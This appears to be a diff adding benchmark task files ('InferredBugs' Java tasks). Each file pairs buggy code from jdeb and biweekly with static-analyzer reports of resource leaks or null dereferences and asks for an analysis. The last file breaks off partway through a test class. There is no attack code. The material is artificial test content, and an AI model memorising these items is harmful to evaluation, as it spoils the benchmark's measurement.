+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10644/instruction.md b/inferredbugs-10644/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f665060aeb362a1055e57442dcdaca26dec0f0a3
--- /dev/null
+++ b/inferredbugs-10644/instruction.md
@@ -0,0 +1,207 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jdeb
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2005 The Apache Software Foundation.
+ * 
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * 
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.vafer.jdeb.descriptors;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.text.ParseException;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * A descriptor holds the usual key value pairs
+ * 
+ * @author tcurdt
+ */
+public abstract class AbstractDescriptor {
+	
+	private final Map values = new HashMap();
+	
+	public AbstractDescriptor() {
+	}
+
+	public AbstractDescriptor( final AbstractDescriptor pDescriptor ) {
+		values.putAll(pDescriptor.values);
+	}
+
+	protected void parse( final InputStream pInput ) throws IOException, ParseException {
+		final BufferedReader br = new BufferedReader(new InputStreamReader(pInput));
+		StringBuffer buffer = new StringBuffer();
+		String key = null;
+		int linenr = 0;
+		while(true) {
+			final String line = br.readLine();
+			
+			if (line == null) {
+				if (buffer.length() > 0) {
+					// flush value of previous key
+					set(key, buffer.toString());
+					buffer = null;
+				}
+				break;
+			}
+
+			linenr++;
+			
+			final char first = line.charAt(0); 
+			if (Character.isLetter(first)) {
+				
+				// new key
+				
+				if (buffer.length() > 0) {
+					// flush value of previous key
+					set(key, buffer.toString());
+					buffer = new StringBuffer();
+				}
+				
+				
+				final int i = line.indexOf(':');
+				
+				if (i < 0) {
+					throw new ParseException("Line misses ':' delimitter", linenr);
+				}
+				
+				key = line.substring(0, i);
+				buffer.append(line.substring(i+1).trim());
+				
+				continue;
+			}
+			
+			// continueing old value
+			buffer.append('\n').append(line.substring(1));
+		}
+		br.close();
+		
+	}
+	
+	public void set( final String pKey, final String pValue ) {
+		values.put(pKey, pValue);
+	}
+	
+	public String get( final String pKey ) {
+		return (String)values.get(pKey);
+	}
+
+	public abstract String[] getMandatoryKeys();
+	
+	public boolean isValid() {
+		return invalidKeys().size() == 0;
+	}
+	
+	public Set invalidKeys() {
+		final Set invalid = new HashSet();
+
+		final String[] mk = getMandatoryKeys();
+		for (int i = 0; i < mk.length; i++) {
+			if (get(mk[i]) == null) {
+				invalid.add(mk[i]);
+			}
+		}
+		
+		return invalid;
+	}
+	
+	String toString( final String[] pKeys ) {
+		final StringBuffer s = new StringBuffer();
+		for (int i = 0; i < pKeys.length; i++) {
+			final String key = pKeys[i];
+			final String value = (String) values.get(key);
+			if (value != null) {
+				s.append(key).append(": ").append(value).append('\n');
+			}			
+		}
+		return s.toString();
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `new()` at line 45 is not released after line 92.
+**Note**: potential exception at line 50
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AbstractDescriptor.parse(InputStream)
+
+### Procedure Id:
+org.vafer.jdeb.descriptors.AbstractDescriptor.parse(java.io.InputStream):void.52dbd312a3da9553121646a2b041cf04
+
+### File:
+src/main/java/org/vafer/jdeb/descriptors/AbstractDescriptor.java
+
+### Key:
+AbstractDescriptor.java|parse|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+429338abff9528f8de9f5f0b57e6c1a7
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10645/instruction.md b/inferredbugs-10645/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..049aae0ee97769e66fcd4f664905d80a71206af6
--- /dev/null
+++ b/inferredbugs-10645/instruction.md
@@ -0,0 +1,170 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jdeb
+**Bug ID:** 12
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2005 The Apache Software Foundation.
+ * 
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * 
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.vafer.jdeb;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+import junit.framework.TestCase;
+
+import org.apache.tools.tar.TarEntry;
+import org.apache.tools.tar.TarInputStream;
+import org.vafer.jdeb.ar.ArEntry;
+import org.vafer.jdeb.ar.ArInputStream;
+import org.vafer.jdeb.descriptors.PackageDescriptor;
+import org.vafer.jdeb.producers.DataProducerArchive;
+import org.vafer.jdeb.producers.DataProducerDirectory;
+
+public final class DataProducerTestCase extends TestCase {
+
+	public void testCreation() throws Exception {
+
+		final Processor processor = new Processor(new Console() {
+			public void println(String s) {
+			}
+		}, null);
+		
+		final File control = new File(getClass().getResource("deb/control/control").toURI());
+		final File archive1 = new File(getClass().getResource("deb/data.tgz").toURI());
+		final File archive2 = new File(getClass().getResource("deb/data.tar.bz2").toURI());
+		final File directory = new File(getClass().getResource("deb/data").toURI());
+		
+		final DataProducer[] data = new DataProducer[] {
+				new DataProducerArchive(archive1, null, null, null),
+				new DataProducerArchive(archive2, null, null, null),
+				new DataProducerDirectory(directory, null, new String[] { "**/.svn/**" }, null)
+		};
+		
+		final File deb = File.createTempFile("jdeb", ".deb");
+		
+		final PackageDescriptor packageDescriptor = processor.createDeb(new File[] { control }, data, deb, "gzip");
+		
+		assertTrue(packageDescriptor.isValid());
+		
+		final Set filesInDeb = new HashSet();
+		
+		final ArInputStream ar = new ArInputStream(new FileInputStream(deb));
+		while(true) {
+			final ArEntry arEntry = ar.getNextEntry();
+			if (arEntry == null) {
+				break;
+			}
+			
+			if ("data.tar.gz".equals(arEntry.getName())) {
+				
+				final TarInputStream tar = new TarInputStream(new GZIPInputStream(ar));
+				
+				while(true) {
+					final TarEntry tarEntry = tar.getNextEntry();
+					if (tarEntry == null) {
+						break;
+					}
+					
+					filesInDeb.add(tarEntry.getName());
+				}
+				
+				tar.close();
+				break;
+			}
+			for (int i = 0; i < arEntry.getLength(); i++) {
+				ar.read();
+			}
+		}
+		
+		assertTrue("" + filesInDeb, filesInDeb.contains("/test/testfile"));
+		assertTrue("" + filesInDeb, filesInDeb.contains("/test/testfile2"));
+		assertTrue("" + filesInDeb, filesInDeb.contains("/test/testfile3"));
+
+		assertTrue(deb.delete());
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileInputStream` acquired by call to `FileInputStream(...)` at line 62 is not released after line 71.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DataProducerTestCase.testCreation()
+
+### Procedure Id:
+org.vafer.jdeb.DataProducerTestCase.testCreation():void.7486e7b7cafaccd2e25306cfabd83372
+
+### File:
+src/test/java/org/vafer/jdeb/DataProducerTestCase.java
+
+### Key:
+DataProducerTestCase.java|testCreation|RESOURCE_LEAK
+
+### Node Key:
+247d69a463cacaecf34d0cf0a6fdd35a
+
+### Hash:
+f7d7e9b21d76c19e701f6e64f55aa00d
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10672/instruction.md b/inferredbugs-10672/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2d6f384746cfe3d2a87df744b465d62631bec5c9
--- /dev/null
+++ b/inferredbugs-10672/instruction.md
@@ -0,0 +1,230 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** biweekly
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package biweekly.property.marshaller;
+
+import static biweekly.util.TestUtils.assertWarnings;
+import static biweekly.util.TestUtils.xcalProperty;
+import static biweekly.util.TestUtils.xcalPropertyElement;
+import static org.custommonkey.xmlunit.XMLAssert.assertXMLEqual;
+import static org.junit.Assert.assertEquals;
+
+import java.util.Calendar;
+import java.util.Date;
+import java.util.TimeZone;
+
+import org.junit.Test;
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+
+import biweekly.io.CannotParseException;
+import biweekly.parameter.ICalParameters;
+import biweekly.property.DateTimeProperty;
+import biweekly.property.marshaller.ICalPropertyMarshaller.Result;
+import biweekly.util.XmlUtils;
+
+/*
+ Copyright (c) 2013, Michael Angstadt
+ All rights reserved.
+
+ Redistribution and use in source and binary forms, with or without
+ modification, are permitted provided that the following conditions are met: 
+
+ 1. Redistributions of source code must retain the above copyright notice, this
+ list of conditions and the following disclaimer. 
+ 2. Redistributions in binary form must reproduce the above copyright notice,
+ this list of conditions and the following disclaimer in the documentation
+ and/or other materials provided with the distribution. 
+
+ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+ ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+/**
+ * @author Michael Angstadt
+ */
+public class DateTimePropertyMarshallerTest {
+	private final DateTimePropertyMarshallerImpl marshaller = new DateTimePropertyMarshallerImpl();
+	private final Date datetime;
+	{
+		Calendar c = Calendar.getInstance(TimeZone.getTimeZone("UTC"));
+		c.clear();
+		c.set(Calendar.YEAR, 2013);
+		c.set(Calendar.MONTH, Calendar.JUNE);
+		c.set(Calendar.DATE, 11);
+		c.set(Calendar.HOUR_OF_DAY, 13);
+		c.set(Calendar.MINUTE, 43);
+		c.set(Calendar.SECOND, 2);
+		datetime = c.getTime();
+	}
+
+	@Test
+	public void writeText() {
+		DateTimePropertyImpl prop = new DateTimePropertyImpl(datetime);
+
+		String actual = marshaller.writeText(prop);
+
+		String expected = "20130611T134302Z";
+		assertEquals(expected, actual);
+	}
+
+	@Test
+	public void writeText_null() {
+		DateTimePropertyImpl prop = new DateTimePropertyImpl(null);
+
+		String actual = marshaller.writeText(prop);
+
+		String expected = "";
+		assertEquals(expected, actual);
+	}
+
+	@Test
+	public void parseText() {
+		String value = "20130611T134302Z";
+		ICalParameters params = new ICalParameters();
+
+		Result<DateTimePropertyImpl> result = marshaller.parseText(value, params);
+
+		DateTimePropertyImpl prop = result.getValue();
+		assertEquals(datetime, prop.getValue());
+		assertWarnings(0, result.getWarnings());
+	}
+
+	@Test(expected = CannotParseException.class)
+	public void parseText_invalid() {
+		String value = "invalid";
+		ICalParameters params = new ICalParameters();
+
+		marshaller.parseText(value, params);
+	}
+
+	@Test
+	public void writeXml() {
+		DateTimePropertyImpl prop = new DateTimePropertyImpl(datetime);
+
+		Document actual = xcalProperty(marshaller);
+		marshaller.writeXml(prop, XmlUtils.getRootElement(actual));
+
+		Document expected = xcalProperty(marshaller, "<date-time>2013-06-11T13:43:02Z</date-time>");
+		assertXMLEqual(expected, actual);
+	}
+
+	@Test
+	public void writeXml_null() {
+		DateTimePropertyImpl prop = new DateTimePropertyImpl(null);
+
+		Document actual = xcalProperty(marshaller);
+		marshaller.writeXml(prop, XmlUtils.getRootElement(actual));
+
+		Document expected = xcalProperty(marshaller, "");
+		assertXMLEqual(expected, actual);
+	}
+
+	@Test
+	public void parseXml() {
+		ICalParameters params = new ICalParameters();
+
+		Element element = xcalPropertyElement(marshaller, "<date-time>2013-06-11T13:43:02Z</date-time>");
+		Result<DateTimePropertyImpl> result = marshaller.parseXml(element, params);
+
+		DateTimePropertyImpl prop = result.getValue();
+		assertEquals(datetime, prop.getValue());
+		assertWarnings(0, result.getWarnings());
+	}
+
+	private class DateTimePropertyMarshallerImpl extends DateTimePropertyMarshaller<DateTimePropertyImpl> {
+		public DateTimePropertyMarshallerImpl() {
+			super(DateTimePropertyImpl.class, "DATETIME");
+		}
+
+		@Override
+		protected DateTimePropertyImpl newInstance(Date date) {
+			return new DateTimePropertyImpl(date);
+		}
+	}
+
+	private class DateTimePropertyImpl extends DateTimeProperty {
+		public DateTimePropertyImpl(Date value) {
+			super(value);
+		}
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getRootElement(actual)` could be null and is dereferenced by call to `writeXml(...)` at line 122.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DateTimePropertyMarshallerTest.writeXml_null()
+
+### Procedure Id:
+biweekly.property.marshaller.DateTimePropertyMarshallerTest.writeXml_null():void.bda50a0c4bc66710597832afa7999727
+
+### File:
+src/test/java/biweekly/property/marshaller/DateTimePropertyMarshallerTest.java
+
+### Key:
+DateTimePropertyMarshallerTest.java|writeXml_null|NULL_DEREFERENCE
+
+### Node Key:
+d0ec784a9a07b2ee980cc56c82eecd21
+
+### Hash:
+d48e2630751294230c51b2a9b0298c6d
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10673/instruction.md b/inferredbugs-10673/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..513b7040c93e458dd1638b4df82119d099883f42
--- /dev/null
+++ b/inferredbugs-10673/instruction.md
@@ -0,0 +1,235 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** biweekly
+**Bug ID:** 28
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package biweekly.property.marshaller;
+
+import static biweekly.util.TestUtils.assertWarnings;
+import static biweekly.util.TestUtils.xcalProperty;
+import static biweekly.util.TestUtils.xcalPropertyElement;
+import static org.custommonkey.xmlunit.XMLAssert.assertXMLEqual;
+import static org.junit.Assert.assertEquals;
+
+import org.junit.Test;
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+
+import biweekly.parameter.ICalParameters;
+import biweekly.parameter.Value;
+import biweekly.property.TextProperty;
+import biweekly.property.marshaller.ICalPropertyMarshaller.Result;
+import biweekly.util.XmlUtils;
+
+/*
+ Copyright (c) 2013, Michael Angstadt
+ All rights reserved.
+
+ Redistribution and use in source and binary forms, with or without
+ modification, are permitted provided that the following conditions are met: 
+
+ 1. Redistributions of source code must retain the above copyright notice, this
+ list of conditions and the following disclaimer. 
+ 2. Redistributions in binary form must reproduce the above copyright notice,
+ this list of conditions and the following disclaimer in the documentation
+ and/or other materials provided with the distribution. 
+
+ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+ ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+/**
+ * @author Michael Angstadt
+ */
+public class TextPropertyMarshallerTest {
+	private final TextPropertyMarshallerImpl marshaller = new TextPropertyMarshallerImpl();
+
+	@Test
+	public void writeText() {
+		TextPropertyImpl prop = new TextPropertyImpl("the;text");
+
+		String actual = marshaller.writeText(prop);
+
+		String expected = "the\\;text";
+		assertEquals(expected, actual);
+	}
+
+	@Test
+	public void writeText_null() {
+		TextPropertyImpl prop = new TextPropertyImpl(null);
+
+		String actual = marshaller.writeText(prop);
+
+		String expected = "";
+		assertEquals(expected, actual);
+	}
+
+	@Test
+	public void parseText() {
+		String value = "the\\;text";
+		ICalParameters params = new ICalParameters();
+
+		Result<TextPropertyImpl> result = marshaller.parseText(value, params);
+
+		TextPropertyImpl prop = result.getValue();
+		assertEquals("the;text", prop.getValue());
+		assertWarnings(0, result.getWarnings());
+	}
+
+	@Test
+	public void writeXml() {
+		TextPropertyImpl prop = new TextPropertyImpl("text");
+
+		Document actual = xcalProperty(marshaller);
+		marshaller.writeXml(prop, XmlUtils.getRootElement(actual));
+
+		Document expected = xcalProperty(marshaller, "<text>text</text>");
+		assertXMLEqual(expected, actual);
+	}
+
+	@Test
+	public void writeXml_null() {
+		TextPropertyImpl prop = new TextPropertyImpl(null);
+
+		Document actual = xcalProperty(marshaller);
+		marshaller.writeXml(prop, XmlUtils.getRootElement(actual));
+
+		Document expected = xcalProperty(marshaller, "<text></text>");
+		assertXMLEqual(expected, actual);
+	}
+
+	@Test
+	public void writeXml_data_type() {
+		TextPropertyMarshallerImpl marshaller = new TextPropertyMarshallerImpl(Value.CAL_ADDRESS);
+		TextPropertyImpl prop = new TextPropertyImpl("mailto:johndoe@example.com");
+
+		Document actual = xcalProperty(marshaller);
+		marshaller.writeXml(prop, XmlUtils.getRootElement(actual));
+
+		Document expected = xcalProperty(marshaller, "<cal-address>mailto:johndoe@example.com</cal-address>");
+		assertXMLEqual(expected, actual);
+	}
+
+	@Test
+	public void parseXml() {
+		ICalParameters params = new ICalParameters();
+
+		Element element = xcalPropertyElement(marshaller, "<text>text</text>");
+		Result<TextPropertyImpl> result = marshaller.parseXml(element, params);
+
+		TextPropertyImpl prop = result.getValue();
+		assertEquals("text", prop.getValue());
+		assertWarnings(0, result.getWarnings());
+	}
+
+	@Test
+	public void parseXml_data_type() {
+		TextPropertyMarshallerImpl marshaller = new TextPropertyMarshallerImpl(Value.CAL_ADDRESS);
+		ICalParameters params = new ICalParameters();
+
+		Element element = xcalPropertyElement(marshaller, "<cal-address>mailto:johndoe@example.com</cal-address>");
+		Result<TextPropertyImpl> result = marshaller.parseXml(element, params);
+
+		TextPropertyImpl prop = result.getValue();
+		assertEquals("mailto:johndoe@example.com", prop.getValue());
+		assertWarnings(0, result.getWarnings());
+	}
+
+	private class TextPropertyMarshallerImpl extends TextPropertyMarshaller<TextPropertyImpl> {
+		public TextPropertyMarshallerImpl() {
+			super(TextPropertyImpl.class, "TEXT");
+		}
+
+		public TextPropertyMarshallerImpl(Value dataType) {
+			super(TextPropertyImpl.class, "TEXT", dataType);
+		}
+
+		@Override
+		protected TextPropertyImpl newInstance(String value) {
+			return new TextPropertyImpl(value);
+		}
+	}
+
+	private class TextPropertyImpl extends TextProperty {
+		public TextPropertyImpl(String value) {
+			super(value);
+		}
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `element` last assigned on line 120 could be null and is dereferenced by call to `parseXml(...)` at line 121.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TextPropertyMarshallerTest.parseXml()
+
+### Procedure Id:
+biweekly.property.marshaller.TextPropertyMarshallerTest.parseXml():void.2f7c72be8babe6ccb932d7630269a323
+
+### File:
+src/test/java/biweekly/property/marshaller/TextPropertyMarshallerTest.java
+
+### Key:
+TextPropertyMarshallerTest.java|parseXml|NULL_DEREFERENCE
+
+### Node Key:
+700bacf046ac2fcd95fa1405262a06a6
+
+### Hash:
+7b047fc825e344dde0772f569b4a3163
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10674/instruction.md b/inferredbugs-10674/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5cf815d34b5414dbb5d7d5b9e41672186f52351d
--- /dev/null
+++ b/inferredbugs-10674/instruction.md
@@ -0,0 +1,315 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** biweekly
+**Bug ID:** 17
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package biweekly.property.marshaller;
+
+import static biweekly.util.TestUtils.assertWarnings;
+import static biweekly.util.TestUtils.xcalProperty;
+import static biweekly.util.TestUtils.xcalPropertyElement;
+import static org.custommonkey.xmlunit.XMLAssert.assertXMLEqual;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+
+import org.junit.Test;
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+
+import biweekly.io.CannotParseException;
+import biweekly.parameter.ICalParameters;
+import biweekly.property.Geo;
+import biweekly.property.marshaller.ICalPropertyMarshaller.Result;
+import biweekly.util.XmlUtils;
+
+/*
+ Copyright (c) 2013, Michael Angstadt
+ All rights reserved.
+
+ Redistribution and use in source and binary forms, with or without
+ modification, are permitted provided that the following conditions are met: 
+
+ 1. Redistributions of source code must retain the above copyright notice, this
+ list of conditions and the following disclaimer. 
+ 2. Redistributions in binary form must reproduce the above copyright notice,
+ this list of conditions and the following disclaimer in the documentation
+ and/or other materials provided with the distribution. 
+
+ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+ ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+/**
+ * @author Michael Angstadt
+ */
+public class GeoMarshallerTest {
+	private final GeoMarshaller marshaller = new GeoMarshaller();
+
+	@Test
+	public void writeText() {
+		Geo prop = new Geo(12.34, 56.78);
+
+		String actual = marshaller.writeText(prop);
+
+		String expected = "12.34;56.78";
+		assertEquals(expected, actual);
+	}
+
+	@Test
+	public void writeText_missing_latitude() {
+		Geo prop = new Geo(null, 56.78);
+		String actual = marshaller.writeText(prop);
+		String expected = ";56.78";
+		assertEquals(expected, actual);
+	}
+
+	@Test
+	public void writeText_missing_longitude() {
+		Geo prop = new Geo(12.34, null);
+		String actual = marshaller.writeText(prop);
+		String expected = "12.34;";
+		assertEquals(expected, actual);
+	}
+
+	@Test
+	public void writeText_missing_both() {
+		Geo prop = new Geo(null, null);
+		String actual = marshaller.writeText(prop);
+		String expected = ";";
+		assertEquals(expected, actual);
+	}
+
+	@Test
+	public void parseText() {
+		String value = "12.34;56.78";
+		ICalParameters params = new ICalParameters();
+
+		Result<Geo> result = marshaller.parseText(value, params);
+
+		Geo prop = result.getValue();
+		assertEquals(12.34, prop.getLatitude(), 0.001);
+		assertEquals(56.78, prop.getLongitude(), 0.001);
+		assertWarnings(0, result.getWarnings());
+	}
+
+	@Test(expected = CannotParseException.class)
+	public void parseText_no_longitude() {
+		String value = "12.34";
+		ICalParameters params = new ICalParameters();
+
+		marshaller.parseText(value, params);
+	}
+
+	@Test(expected = CannotParseException.class)
+	public void parseText_empty() {
+		String value = "";
+		ICalParameters params = new ICalParameters();
+
+		marshaller.parseText(value, params);
+	}
+
+	@Test(expected = CannotParseException.class)
+	public void parseText_bad_latitude() {
+		String value = "bad;56.78";
+		ICalParameters params = new ICalParameters();
+
+		marshaller.parseText(value, params);
+	}
+
+	@Test(expected = CannotParseException.class)
+	public void parseText_bad_longitude() {
+		String value = "12.34;bad";
+		ICalParameters params = new ICalParameters();
+
+		marshaller.parseText(value, params);
+	}
+
+	@Test
+	public void writeXml() {
+		Geo prop = new Geo(12.34, 56.78);
+
+		Document actual = xcalProperty(marshaller);
+		marshaller.writeXml(prop, XmlUtils.getRootElement(actual));
+
+		Document expected = xcalProperty(marshaller, "<latitude>12.34</latitude><longitude>56.78</longitude>");
+		assertXMLEqual(expected, actual);
+	}
+
+	@Test
+	public void writeXml_missing_latitude() {
+		Geo prop = new Geo(null, 56.78);
+
+		Document actual = xcalProperty(marshaller);
+		marshaller.writeXml(prop, XmlUtils.getRootElement(actual));
+
+		Document expected = xcalProperty(marshaller, "<longitude>56.78</longitude>");
+		assertXMLEqual(expected, actual);
+	}
+
+	@Test
+	public void writeXml_missing_longitude() {
+		Geo prop = new Geo(12.34, null);
+
